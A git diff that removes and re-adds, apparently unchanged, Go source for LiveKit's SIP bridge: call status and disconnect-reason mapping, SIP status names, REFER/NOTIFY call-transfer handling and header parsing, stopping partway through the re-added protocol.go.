68056a1be..f64a2418b 100644 --- a/pkg/sip/participant.go +++ b/pkg/sip/participant.go @@ -1,159 +1,159 @@ -// Copyright 2024 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "time" - - "github.com/livekit/protocol/livekit" - "github.com/livekit/sip/pkg/stats" -) - -// terminationFromRoomDisconnect classifies a call termination triggered by -// the LiveKit room closing, given the raw protocol disconnect reason. -func terminationFromRoomDisconnect(reason livekit.DisconnectReason) stats.Termination { - switch reason { - case livekit.DisconnectReason_CLIENT_INITIATED, - livekit.DisconnectReason_ROOM_CLOSED, - livekit.DisconnectReason_ROOM_DELETED, - livekit.DisconnectReason_PARTICIPANT_REMOVED: - return stats.Success("removed") - case livekit.DisconnectReason_JOIN_FAILURE, - livekit.DisconnectReason_SIGNAL_CLOSE, - livekit.DisconnectReason_STATE_MISMATCH: - return stats.ServerError("room-failed") - case livekit.DisconnectReason_SERVER_SHUTDOWN: - return stats.ServerError("server-shutdown") - case livekit.DisconnectReason_CONNECTION_TIMEOUT: - return stats.ServerError("connection-timeout") - case livekit.DisconnectReason_MIGRATION: - return stats.ServerError("migration") - case livekit.DisconnectReason_SIP_TRUNK_FAILURE: - return stats.ServerError("sip-trunk-failure") - case livekit.DisconnectReason_MEDIA_FAILURE: - return stats.ServerError("media-failure") - case livekit.DisconnectReason_AGENT_ERROR: - return stats.ServerError("agent-error") - case livekit.DisconnectReason_DUPLICATE_IDENTITY: - return stats.ClientError("duplicate-identity") - case livekit.DisconnectReason_USER_UNAVAILABLE: - return stats.ClientError("user-unavailable") - case livekit.DisconnectReason_USER_REJECTED: - return stats.ClientError("user-rejected") - default: - // UNKNOWN_REASON or any future proto value not yet listed here. - // Conservative — surface as server_error so the SLI doesn't - // silently absorb LK-side issues. - return stats.ServerError("room-disconnected") - } -} - -// disconnectReasonFromRoomClose returns the reason to report on SIPCallInfo for -// a call ended by the LiveKit room closing, i.e. not by the SIP peer. The room -// reason is the only account of why, so report it as-is (ROOM_DELETED, -// SERVER_SHUTDOWN, ...) rather than flattening it to CLIENT_INITIATED. -func disconnectReasonFromRoomClose(reason livekit.DisconnectReason) livekit.DisconnectReason { - if reason == livekit.DisconnectReason_UNKNOWN_REASON { - // No reason reported; keep the historical value. - return livekit.DisconnectReason_CLIENT_INITIATED - } - return reason -} - -const ( - // maxCallDuration sets a global max call duration. - maxCallDuration = 24 * time.Hour - // defaultRingingTimeout is a maximal duration which SIP participant will wait to connect. - // - // For inbound, the participant will wait this duration for other participant tracks. - // - // For outbound, this sets a timeout for the other end to pick up the call. - defaultRingingTimeout = 3 * time.Minute -) - -const ( - AttrSIPCallIDFull = livekit.AttrSIPPrefix + "callIDFull" - AttrSIPCallTag = livekit.AttrSIPPrefix + "callTag" -) - -var headerToLog = map[string]string{ - "X-Twilio-AccountSid": "twilioAccSID", - "X-Twilio-CallSid": "twilioCallSID", - "X-call_leg_id": "telnyxCallLegID", - "X-call_session_id": "telnyxCallSessionID", -} - -var headerToAttr = map[string]string{ - "X-Twilio-AccountSid": livekit.AttrSIPPrefix + "twilio.accountSid", - "X-Twilio-CallSid": livekit.AttrSIPPrefix + "twilio.callSid", - "X-call_leg_id": livekit.AttrSIPPrefix + "telnyx.callLegID", - "X-call_session_id": livekit.AttrSIPPrefix + "telnyx.callSessionID", - "X-Amzn-ConnectContactId": livekit.AttrSIPPrefix + "amazon.contactId", - "X-Amzn-ConnectInitialContactId": livekit.AttrSIPPrefix + "amazon.initialContactId", - "X-Amzn-SourceAccount": livekit.AttrSIPPrefix + "amazon.sourceAccount", - "X-Amzn-SourceArn": livekit.AttrSIPPrefix + "amazon.sourceArn", - "X-Amzn-TargetArn": livekit.AttrSIPPrefix + "amazon.targetArn", - "X-Lk-Test-Id": "lktest.id", -} - -type CallStatus int - -func (v CallStatus) Attribute() string { - switch v { - default: - return "" // no attribute for these statuses - case CallDialing: - return "dialing" - case CallRinging: - return "ringing" - case CallAutomation: - return "automation" - case CallActive: - return "active" - case CallHangup, callHangupMedia, CallCancelled: - return "hangup" - } -} - -func (v CallStatus) DisconnectReason() livekit.DisconnectReason { - switch v { - default: - return livekit.DisconnectReason_UNKNOWN_REASON - case CallHangup, callHangupMedia, CallCancelled: - // It's the default that LK sets, but map it here explicitly to show the assumption. - return livekit.DisconnectReason_CLIENT_INITIATED - case callUnavailable: - return livekit.DisconnectReason_USER_UNAVAILABLE - case callRejected: - return livekit.DisconnectReason_USER_REJECTED - } -} - -const ( - callDropped = CallStatus(iota) - callFlood - CallDialing - CallRinging - CallAutomation - CallActive - CallHangup - CallCancelled - callUnavailable - callRejected - callMediaFailed - callAcceptFailed - callNoACK - callHangupMedia -) +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "time" + + "github.com/livekit/protocol/livekit" + "github.com/livekit/sip/pkg/stats" +) + +// terminationFromRoomDisconnect classifies a call termination triggered by +// the LiveKit room closing, given the raw protocol disconnect reason. +func terminationFromRoomDisconnect(reason livekit.DisconnectReason) stats.Termination { + switch reason { + case livekit.DisconnectReason_CLIENT_INITIATED, + livekit.DisconnectReason_ROOM_CLOSED, + livekit.DisconnectReason_ROOM_DELETED, + livekit.DisconnectReason_PARTICIPANT_REMOVED: + return stats.Success("removed") + case livekit.DisconnectReason_JOIN_FAILURE, + livekit.DisconnectReason_SIGNAL_CLOSE, + livekit.DisconnectReason_STATE_MISMATCH: + return stats.ServerError("room-failed") + case livekit.DisconnectReason_SERVER_SHUTDOWN: + return stats.ServerError("server-shutdown") + case livekit.DisconnectReason_CONNECTION_TIMEOUT: + return stats.ServerError("connection-timeout") + case livekit.DisconnectReason_MIGRATION: + return stats.ServerError("migration") + case livekit.DisconnectReason_SIP_TRUNK_FAILURE: + return stats.ServerError("sip-trunk-failure") + case livekit.DisconnectReason_MEDIA_FAILURE: + return stats.ServerError("media-failure") + case livekit.DisconnectReason_AGENT_ERROR: + return stats.ServerError("agent-error") + case livekit.DisconnectReason_DUPLICATE_IDENTITY: + return stats.ClientError("duplicate-identity") + case livekit.DisconnectReason_USER_UNAVAILABLE: + return stats.ClientError("user-unavailable") + case livekit.DisconnectReason_USER_REJECTED: + return stats.ClientError("user-rejected") + default: + // UNKNOWN_REASON or any future proto value not yet listed here. + // Conservative — surface as server_error so the SLI doesn't + // silently absorb LK-side issues. + return stats.ServerError("room-disconnected") + } +} + +// disconnectReasonFromRoomClose returns the reason to report on SIPCallInfo for +// a call ended by the LiveKit room closing, i.e. not by the SIP peer. The room +// reason is the only account of why, so report it as-is (ROOM_DELETED, +// SERVER_SHUTDOWN, ...) rather than flattening it to CLIENT_INITIATED. +func disconnectReasonFromRoomClose(reason livekit.DisconnectReason) livekit.DisconnectReason { + if reason == livekit.DisconnectReason_UNKNOWN_REASON { + // No reason reported; keep the historical value. + return livekit.DisconnectReason_CLIENT_INITIATED + } + return reason +} + +const ( + // maxCallDuration sets a global max call duration. + maxCallDuration = 24 * time.Hour + // defaultRingingTimeout is a maximal duration which SIP participant will wait to connect. + // + // For inbound, the participant will wait this duration for other participant tracks. + // + // For outbound, this sets a timeout for the other end to pick up the call. + defaultRingingTimeout = 3 * time.Minute +) + +const ( + AttrSIPCallIDFull = livekit.AttrSIPPrefix + "callIDFull" + AttrSIPCallTag = livekit.AttrSIPPrefix + "callTag" +) + +var headerToLog = map[string]string{ + "X-Twilio-AccountSid": "twilioAccSID", + "X-Twilio-CallSid": "twilioCallSID", + "X-call_leg_id": "telnyxCallLegID", + "X-call_session_id": "telnyxCallSessionID", +} + +var headerToAttr = map[string]string{ + "X-Twilio-AccountSid": livekit.AttrSIPPrefix + "twilio.accountSid", + "X-Twilio-CallSid": livekit.AttrSIPPrefix + "twilio.callSid", + "X-call_leg_id": livekit.AttrSIPPrefix + "telnyx.callLegID", + "X-call_session_id": livekit.AttrSIPPrefix + "telnyx.callSessionID", + "X-Amzn-ConnectContactId": livekit.AttrSIPPrefix + "amazon.contactId", + "X-Amzn-ConnectInitialContactId": livekit.AttrSIPPrefix + "amazon.initialContactId", + "X-Amzn-SourceAccount": livekit.AttrSIPPrefix + "amazon.sourceAccount", + "X-Amzn-SourceArn": livekit.AttrSIPPrefix + "amazon.sourceArn", + "X-Amzn-TargetArn": livekit.AttrSIPPrefix + "amazon.targetArn", + "X-Lk-Test-Id": "lktest.id", +} + +type CallStatus int + +func (v CallStatus) Attribute() string { + switch v { + default: + return "" // no attribute for these statuses + case CallDialing: + return "dialing" + case CallRinging: + return "ringing" + case CallAutomation: + return "automation" + case CallActive: + return "active" + case CallHangup, callHangupMedia, CallCancelled: + return "hangup" + } +} + +func (v CallStatus) DisconnectReason() livekit.DisconnectReason { + switch v { + default: + return livekit.DisconnectReason_UNKNOWN_REASON + case CallHangup, callHangupMedia, CallCancelled: + // It's the default that LK sets, but map it here explicitly to show the assumption. + return livekit.DisconnectReason_CLIENT_INITIATED + case callUnavailable: + return livekit.DisconnectReason_USER_UNAVAILABLE + case callRejected: + return livekit.DisconnectReason_USER_REJECTED + } +} + +const ( + callDropped = CallStatus(iota) + callFlood + CallDialing + CallRinging + CallAutomation + CallActive + CallHangup + CallCancelled + callUnavailable + callRejected + callMediaFailed + callAcceptFailed + callNoACK + callHangupMedia +) diff --git a/pkg/sip/protocol.go b/pkg/sip/protocol.go index 8c7376119..6230f43dd 100644 --- a/pkg/sip/protocol.go +++ b/pkg/sip/protocol.go @@ -1,734 +1,734 @@ -// Copyright 2024 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "context" - "errors" - "fmt" - "net/netip" - "regexp" - "strconv" - "strings" - "time" - - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - "github.com/livekit/psrpc" - "github.com/livekit/sip/pkg/stats" - "github.com/livekit/sipgo/sip" - - "github.com/livekit/sip/pkg/config" -) - -const ( - notifyAckTimeout = 5 * time.Second - referByeTimeout = time.Second - // referResultGrace is how long a REFER result is still accepted after the - // original call ended. Once the transfer target answers, our peer reports it - // in the final NOTIFY and then BYEs the original leg, which is no longer - // needed. We handle that NOTIFY and that BYE on separate goroutines, so the - // BYE often wins the race. Without this window a transfer that actually - // completed would be reported as aborted. - referResultGrace = time.Second -) - -var ( - referIdRegexp = regexp.MustCompile(`^refer(;id=(\d+))?$`) -) - -type Result struct { - Code sip.StatusCode - Status string -} - -func (r Result) NewResponse(req *sip.Request) *sip.Response { - if r.Code == 0 { - r.Code = sip.StatusServiceUnavailable - } - if r.Status == "" { - r.Status = sipStatus(r.Code) - } - return sip.NewResponseFromRequest(req, r.Code, r.Status, nil) -} - -type EndCall struct { - Report error // reported to LiveKit analytics - Status CallStatus // TODO: legacy - Term stats.Termination - Reason livekit.DisconnectReason // disconnect reason for LiveKit participant - Headers map[string]string // extra headers to send to SIP peer -} - -var statusNamesMap = map[int]string{ - 100: "Trying", - 180: "Ringing", - 181: "Call Is Forwarded", - 182: "Queued", - 183: "Session In Progress", - - 200: "OK", - 202: "Accepted", - - 301: "Moved Permanently", - 302: "Moved Temporarily", - 305: "Use Proxy", - - 400: "Bad Request", - 401: "Unauthorized", - 402: "Payment Required", - 403: "Forbidden", - 404: "Not Found", - 405: "Method Not Allowed", - 406: "Not Acceptable", - 407: "Proxy Auth Required", - 408: "Request Timeout", - 409: "Conflict", - 410: "Gone", - 413: "Request Entity Too Large", - 414: "Request URI Too Long", - 415: "Unsupported Media Type", - 416: "Requested Range Not Satisfiable", - 420: "Bad Extension", - 421: "Extension Required", - 423: "Interval Too Brief", - 480: "Temporarily Unavailable", - 481: "Call Transaction Does Not Exists", - 482: "Loop Detected", - 483: "Too Many Hops", - 484: "Address Incomplete", - 485: "Ambiguous", - 486: "Busy Here", - 487: "Request Terminated", - 488: "Not Acceptable Here", - - 500: "Internal Server Error", - 501: "Not Implemented", - 502: "Bad Gateway", - 503: "Service Unavailable", - 504: "Gateway Timeout", - 505: "Version Not Supported", - 513: "Message Too Large", - - 600: "Global Busy Everywhere", - 603: "Global Decline", - 604: "Global Does Not Exist Anywhere", - 606: "Global Not Acceptable", -} - -func sipStatus(code sip.StatusCode) string { - if name := statusNamesMap[int(code)]; name != "" { - return name - } - return fmt.Sprintf("Status %d", int(code)) -} - -func statusName(status int) string { - if name := statusNamesMap[status]; name != "" { - return fmt.Sprintf("%d-%s", status, strings.ReplaceAll(name, " ", "")) - } - return fmt.Sprintf("status-%d", status) -} - -// Sentinel errors emitted on outbound dial failure paths so callers can match -// them with errors.Is without depending on the human-readable message. -var ( - ErrSIPRequestTimeout = errors.New("sip request timed out") - ErrAuthMaxRetry = errors.New("max auth retry attempts reached for SIP invite") - ErrAuthMissingCreds = errors.New("sip server required auth, but no username or password was provided") - ErrAuthNoHeader = errors.New("no auth header in sip invite response") -) - -// Sentinel errors for cold transfer outcomes the bridge decides on its own, -// without a SIP status from the peer. Wrapped in psrpc errors at the point they -// are produced; errors.Is still matches through the wrapper. -var ( - errTransferCallEnded = errors.New("call ended before transfer completed") - errReferSubscriptionTerminated = errors.New("REFER subscription terminated without a final status") -) - -type setHeadersFunc func(headers map[string]string) map[string]string - -type Signaling interface { - Address() sip.Uri - From() sip.Uri - To() sip.Uri - ID() LocalTag - Tag() RemoteTag - SIPCallID() string - RemoteHeaders() Headers - - WriteRequest(req *sip.Request) error - Transaction(req *sip.Request) (sip.ClientTransaction, error) - - Drop() -} - -func transportFromURI(u *sip.Uri) Transport { - if tr, _ := u.UriParams.Get("transport"); tr != "" { - return Transport(strings.ToLower(tr)) - } - return "" -} - -// callTransportFromReq returns the SIP transport used between LK SIP and the provider. -// For the actual transport used between SIP server and the edge, see legTransportFromReq. -func callTransportFromReq(req *sip.Request) Transport { - if to := req.To(); to != nil { - if tr := transportFromURI(&to.Address); tr != "" { - return tr - } - if tr, _ := to.Params.Get("transport"); tr != "" { - return Transport(strings.ToLower(tr)) - } - } - if via := req.Via(); via != nil { - return Transport(strings.ToLower(via.Transport)) - } - return "" -} - -// legTransportFromReq returns the SIP transport used between SIP server and LK SIP edge. -// For the transport used between LK SIP and the provider, see callTransportFromReq. -func legTransportFromReq(req *sip.Request) Transport { - if via := req.Via(); via != nil { - return Transport(strings.ToLower(via.Transport)) - } - if tr := transportFromURI(&req.Recipient); tr != "" { - return tr - } - if to := req.To(); to != nil { - if tr := transportFromURI(&to.Address); tr != "" { - return tr - } - if tr, _ := to.Params.Get("transport"); tr != "" { - return Transport(strings.ToLower(tr)) - } - } - return "" -} - -func transportPort(c *config.Config, t Transport) int { - if t == TransportTLS { - if tc := c.TLS; tc != nil { - return tc.Port - } - } - return c.SIPPort -} - -func getContactURI(c *config.Config, ip netip.Addr, t Transport) URI { - hostname := "" // use signaling IP by default, it's more robust - if t == TransportTLS { - hostname = c.SIPHostname - } - return URI{ - Host: hostname, - Addr: netip.AddrPortFrom(ip, uint16(transportPort(c, t))), - Transport: t, - } -} - -// sendBye sends a BYE and waits for its final response. BYE is a non-INVITE -// transaction (RFC 3261 §17.1.2): the response ends it, no ACK is sent. -func sendBye(ctx context.Context, log logger.Logger, c Signaling, req *sip.Request) { - tx, err := c.Transaction(req) - if err != nil { - log.Infow("cannot send BYE", "error", err) - return - } - defer tx.Terminate() - if _, err := sipResponse(ctx, tx, nil, nil); err != nil { - log.Infow("no response to BYE", "error", err) - } -} - -func NewReferRequest(inviteRequest *sip.Request, inviteResponse *sip.Response, contactHeader *sip.ContactHeader, referToUrl string, headers map[string]string) *sip.Request { - req := sip.NewRequest(sip.REFER, inviteRequest.Recipient) - - req.SipVersion = inviteRequest.SipVersion - sip.CopyHeaders("Via", inviteRequest, req) - // if inviteResponse.IsSuccess() { - // update branch, 2xx ACK is separate Tx - viaHop := req.Via() - viaHop.Params.Add("branch", sip.GenerateBranch()) - // } - - if len(inviteRequest.GetHeaders("Route")) > 0 { - sip.CopyHeaders("Route", inviteRequest, req) - } else { - hdrs := inviteResponse.GetHeaders("Record-Route") - for i := len(hdrs) - 1; i >= 0; i-- { - rrh, ok := hdrs[i].(*sip.RecordRouteHeader) - if !ok { - continue - } - - h := rrh.Clone() - req.AppendHeader(h) - } - } - - maxForwardsHeader := sip.MaxForwardsHeader(70) - req.AppendHeader(&maxForwardsHeader) - - if h := inviteRequest.From(); h != nil { - sip.CopyHeaders("From", inviteRequest, req) - } - - if h := inviteResponse.To(); h != nil { - sip.CopyHeaders("To", inviteResponse, req) - } - - if h := inviteRequest.CallID(); h != nil { - sip.CopyHeaders("Call-ID", inviteRequest, req) - } - - if h := inviteRequest.CSeq(); h != nil { - sip.CopyHeaders("CSeq", inviteRequest, req) - } - - req.AppendHeader(contactHeader) - - cseq := req.CSeq() - cseq.SeqNo = cseq.SeqNo + 1 - cseq.MethodName = sip.REFER - - // Set Refer-To header - referTo := sip.NewHeader("Refer-To", referToUrl) - req.AppendHeader(referTo) - req.AppendHeader(sip.NewHeader("Allow", "INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE")) - - req.SetTransport(inviteRequest.Transport()) - req.SetSource(inviteRequest.Source()) - req.SetDestination(inviteRequest.Destination()) - - for k, v := range headers { - req.AppendHeader(sip.NewHeader(k, v)) - } - - req.SetBody(nil) - - return req -} - -func sendRefer(ctx context.Context, c Signaling, req *sip.Request, stop <-chan struct{}) (*sip.Response, error) { - ctx, span := Tracer.Start(ctx, "sip.sendRefer") - defer span.End() - tx, err := c.Transaction(req) - if err != nil { - return nil, err - } - defer tx.Terminate() - - ctx = context.WithoutCancel(ctx) - resp, err := sipResponse(ctx, tx, stop, nil) - if err != nil { - return nil, err - } - - switch resp.StatusCode { - case sip.StatusOK, 202: // 202 is Accepted - return resp, nil - default: - return resp, &livekit.SIPStatus{ - Code: livekit.SIPStatusCode(resp.StatusCode), - Status: resp.Reason, - } - } -} - -func parseNotifyBody(body string) (int, string, error) { - v := strings.SplitN(body, " ", 3) - - if len(v) < 2 { - return 0, "", psrpc.NewErrorf(psrpc.InvalidArgument, "invalid notify body: not enough tokens") - } - - if strings.ToUpper(v[0]) != "SIP/2.0" { - return 0, "", psrpc.NewErrorf(psrpc.InvalidArgument, "invalid notify body: wrong prefix or SIP version") - } - - // The status line is remote input and ends up narrowed to a SIPStatusCode, - // which is 32-bit, so parse it at that width and reject anything that is not - // a SIP response code rather than carrying a bogus value forward. - code, err := strconv.ParseInt(v[1], 10, 32) - if err != nil { - return 0, "", psrpc.NewError(psrpc.InvalidArgument, err) - } - if code < 100 || code > 699 { - return 0, "", psrpc.NewErrorf(psrpc.InvalidArgument, "invalid notify body: status %d out of range", code) - } - c := int(code) - if len(v) < 3 { - return c, "", nil - } - reason := v[2] - if i := strings.Index(reason, "\n"); i != -1 { - reason = strings.TrimSuffix(reason[:i], "\r") - } - return c, reason, nil -} - -// notifyInfo is the parsed content of a NOTIFY, for the event packages we -// implement (currently only "refer"). -type notifyInfo struct { - Method sip.RequestMethod // event package; sip.REFER for "refer[;id=N]" - CSeq uint32 // REFER CSeq from the event id param, 0 if absent - Status int // sipfrag status code, 0 if the NOTIFY carried no body - Reason string // sipfrag reason phrase - Sub SubscriptionState // Subscription-State header, zero value if absent -} - -func handleNotify(req *sip.Request) (notifyInfo, error) { - event := req.GetHeader("Event") - if event == nil { - event = req.GetHeader("o") - } - if event == nil { - return notifyInfo{}, psrpc.NewErrorf(psrpc.MalformedRequest, "no event in NOTIFY request") - } - - m := referIdRegexp.FindStringSubmatch(strings.ToLower(event.Value())) - if len(m) == 0 { - return notifyInfo{}, psrpc.NewErrorf(psrpc.Unimplemented, "unknown event") - } - - // REFER Notify - info := notifyInfo{Method: sip.REFER} - if len(m) >= 3 { - cseq64, _ := strconv.ParseUint(m[2], 10, 32) - info.CSeq = uint32(cseq64) - } - if h := req.GetHeader("Subscription-State"); h != nil { - info.Sub = ParseSubscriptionState(h.Value()) - } - // RFC 3515 requires a sipfrag body, but RFC 6665 lets a notifier omit the - // state from the NOTIFY that terminates the subscription, and providers do. - // Status 0 then means "no status reported" and Subscription-State decides. - if body := strings.TrimSpace(string(req.Body())); body != "" { - status, reason, err := parseNotifyBody(body) - if err != nil { - return notifyInfo{}, err - } - info.Status, info.Reason = status, reason - } - return info, nil -} - -func handleReferNotify(info notifyInfo, referCseq uint32, referDone chan<- error) { - if info.CSeq != 0 && info.CSeq != referCseq { - // NOTIFY for a different REFER, skip - return - } - var result error - switch { - case info.Status == 200: - // Success. Checked before the terminated subscription below: the final - // NOTIFY of a successful transfer also terminates the subscription. - result = nil - case info.Status == 0 || (info.Status >= 100 && info.Status < 200): - // No final status yet, but if this NOTIFY ended the subscription, no - // further NOTIFY can arrive and the provisional status we have is all - // we will ever get, so fail now rather than waiting out the transfer - // deadline. RFC 3515 lets an agent that does not want to hold subscription - // state terminate with its very first NOTIFY, and for a call still in - // progress, that NOTIFY carries a 100. A subscription that expires, or - // whose notifier gives up, ends the same way. - if !info.Sub.Terminated() { - // still trying - return - } - reason := info.Sub.Reason - if reason == "" { - reason = "unspecified" - } - result = psrpc.NewErrorf(psrpc.UpstreamServerError, "call transfer failed: %w (reason %q, last status %d)", - errReferSubscriptionTerminated, reason, info.Status) - default: - // Failure - st := &livekit.SIPStatus{ - Code: livekit.SIPStatusCode(info.Status), - Status: info.Reason, - } - // Converts SIP status to GRPC via SIPStatus.GRPCStatus(), then converts to psrpc via ErrorCodeFromGRPC() - errorCode, _ := psrpc.GetErrorCode(st) - if errorCode == psrpc.Internal || errorCode == psrpc.Unavailable { - // Temporarily overwrite the code until we support a direct SIPStatus -> psrpc.ErrorCode conversion - errorCode = psrpc.UpstreamServerError - if info.Status < 500 || info.Status >= 600 { // Common 6xx codes: 603 Declined, 608 Rejected - errorCode = psrpc.UpstreamClientError - } - } - result = psrpc.NewErrorf(errorCode, "call transfer failed: %w", st) - } - select { - case referDone <- result: - case <-time.After(notifyAckTimeout): - } -} - -// waitReferResult waits for the outcome of an accepted REFER: a NOTIFY carrying -// a final status, or the subscription ending before one arrives. -// -// callDone fires when the call itself ends (remote BYE, room deletion, local -// hangup). That leaves the transfer outcome unknown, which is a failure and not -// a success. A result that is already on its way wins over it, because a -// successful transfer ends this call too: our peer BYEs the original leg right -// after reporting the outcome. referDone is unbuffered, so its NOTIFY handler -// can still be parked on the handoff while the BYE is processed elsewhere. -func waitReferResult(ctx context.Context, log logger.Logger, callDone <-chan struct{}, referDone <-chan error) error { - select { - case <-ctx.Done(): - // Wrap ctx.Err() so callers can still tell a blown deadline from a cancel. - return psrpc.NewErrorf(psrpc.Canceled, "refer canceled: %w", ctx.Err()) - case err := <-referDone: - return err - case <-callDone: - select { - case err := <-referDone: - log.Infow("refer result raced call end", "error", err) - return err - case <-time.After(referResultGrace): - } - log.Infow("refer failed: call ended before transfer completed") - return psrpc.NewError(psrpc.Aborted, errTransferCallEnded) - } -} - -func sipStatusForErrorCode(code psrpc.ErrorCode) sip.StatusCode { - switch code { - case psrpc.OK: - return sip.StatusOK - case psrpc.Canceled, psrpc.DeadlineExceeded: - return sip.StatusRequestTimeout - case psrpc.Unknown, psrpc.MalformedResponse, psrpc.Internal, psrpc.DataLoss: - return sip.StatusInternalServerError - case psrpc.InvalidArgument, psrpc.MalformedRequest: - return sip.StatusBadRequest - case psrpc.NotFound: - return sip.StatusNotFound - case psrpc.NotAcceptable: - return sip.StatusNotAcceptable - case psrpc.AlreadyExists, psrpc.Aborted: - return sip.StatusConflict - case psrpc.PermissionDenied: - return sip.StatusForbidden - case psrpc.ResourceExhausted: - return sip.StatusTemporarilyUnavailable - case psrpc.FailedPrecondition: - return sip.StatusCallTransactionDoesNotExists - case psrpc.OutOfRange: - return sip.StatusRequestedRangeNotSatisfiable - case psrpc.Unimplemented: - return sip.StatusNotImplemented - case psrpc.Unavailable: - return sip.StatusServiceUnavailable - case psrpc.Unauthenticated: - return sip.StatusUnauthorized - case psrpc.UpstreamServerError: - return sip.StatusBadGateway - case psrpc.UpstreamClientError: - return sip.StatusTemporarilyUnavailable - default: - return sip.StatusInternalServerError - } -} - -func sipCodeAndMessageFromError(err error) (code sip.StatusCode, msg string) { - code = 200 - var psrpcErr psrpc.Error - if errors.As(err, &psrpcErr) { - code = sipStatusForErrorCode(psrpcErr.Code()) - } else if err != nil { - code = 500 - } - - msg = "success" - if err != nil { - msg = err.Error() - } - - return code, msg -} - -func setCSeq(req *sip.Request, cseq uint32) { - h := &sip.CSeqHeader{ - MethodName: req.Method, - SeqNo: cseq, - } - - req.RemoveHeader(h.Name()) - req.AppendHeader(h) -} - -func ToSIPUri(ip string, u sip.Uri) *livekit.SIPUri { - tr, _ := u.UriParams.Get("transport") - url := &livekit.SIPUri{ - User: u.User, - Host: u.Host, - Ip: ip, - Port: uint32(u.Port), - Transport: SIPTransportFrom(Transport(tr)), - } - return url -} - -// SubscriptionState is a parsed Subscription-State header. Every NOTIFY must -// carry one, including the NOTIFYs of the subscription a REFER creates -// implicitly, but not every provider sends it. -type SubscriptionState struct { - State string // substate: "active", "pending", "terminated", or an extension - Reason string // reason param: noresource, giveup, timeout, rejected, ... - Expires int // expires param in seconds, 0 if absent -} - -// Terminated reports whether the notifier ended the subscription, meaning no -// further NOTIFY will arrive for it. -func (s SubscriptionState) Terminated() bool { - return s.State == "terminated" -} - -func (s SubscriptionState) String() string { - if s.State == "" { - return "" - } - if s.Reason == "" { - return s.State - } - return s.State + ";reason=" + s.Reason -} - -// ParseSubscriptionState parses a Subscription-State header value. It has no -// error return on purpose: a handleNotify error becomes a non-2xx answer to the -// NOTIFY, and an odd value in this header is no reason to reject one. An -// unrecognized state yields the zero value, which is not Terminated, so the -// transfer keeps waiting. -func ParseSubscriptionState(header string) SubscriptionState { - list := strings.Split(header, ";") - st := SubscriptionState{State: strings.ToLower(strings.TrimSpace(list[0]))} - for _, line := range list[1:] { - line = strings.TrimSpace(line) - i := strings.Index(line, "=") - if i < 0 { - continue - } - key := strings.ToLower(strings.TrimSpace(line[:i])) - val := strings.TrimSpace(line[i+1:]) - switch key { - case "reason": - st.Reason = strings.ToLower(val) - case "expires": - st.Expires, _ = strconv.Atoi(val) - } - } - return st -} - -type ReasonHeader struct { - Type string - Cause int - Text string -} - -func (r ReasonHeader) IsZero() bool { - return r == ReasonHeader{} -} - -func (r ReasonHeader) IsNormal() bool { - if r.IsZero() { - return true // assume there's no specific reason - } - switch r.Type { - case "q.850": - switch r.Cause { - case 16: // Normal call clearing - return true - } - case "x.int": - switch r.Cause { - case 0x00: - return true - } - case "release_cause": - switch r.Cause { - case 1: - return true - } - case "sip": - switch r.Cause { - case 0: // not set, assume success - return true - case 200: - return true - } - } - return false -} - -func (r ReasonHeader) String() string { - if r.IsZero() { - return "" - } - return fmt.Sprintf("%s-%d: %s", r.Type, r.Cause, r.Text) -} - -func ParseReasonHeader(header string) (ReasonHeader, error) { - list := strings.Split(header, ";") - if len(list) < 2 { - return ReasonHeader{}, errors.New("no fields in the reason") - } - typ := strings.TrimSpace(list[0]) - typ = strings.ToLower(typ) - r := ReasonHeader{Type: typ} - var reasonCode string - for _, line := range list[1:] { - line = strings.TrimSpace(line) - i := strings.Index(line, "=") - if i < 0 { - continue - } - key := strings.TrimSpace(line[:i]) - val := strings.TrimSpace(line[i+1:]) - switch key { - case "cause": - r.Cause, _ = strconv.Atoi(val) - case "text": - r.Text, _ = strconv.Unquote(val) - case "description": - if r.Text == "" { - r.Text, _ = strconv.Unquote(val) - } - case "reasoncode": - reasonCode = val - } - } - switch typ { - case "x.int": - if r.Cause == 0 { - if reasonCode != "" { - v, _ := strconv.ParseUint(reasonCode, 0, 64) - r.Cause = int(v) - } else if r.Text != "" { - v, err := strconv.ParseUint(r.Text, 0, 64) - r.Cause = int(v) - if err == nil { - r.Text = "" - } - } - } - } - return r, nil -} +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "context" + "errors" + "fmt" + "net/netip" + "regexp" + "strconv" + "strings" + "time" + + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + "github.com/livekit/psrpc" + "github.com/livekit/sip/pkg/stats" + "github.com/livekit/sipgo/sip" + + "github.com/livekit/sip/pkg/config" +) + +const ( + notifyAckTimeout = 5 * time.Second + referByeTimeout = time.Second + // referResultGrace is how long a REFER result is still accepted after the + // original call ended. 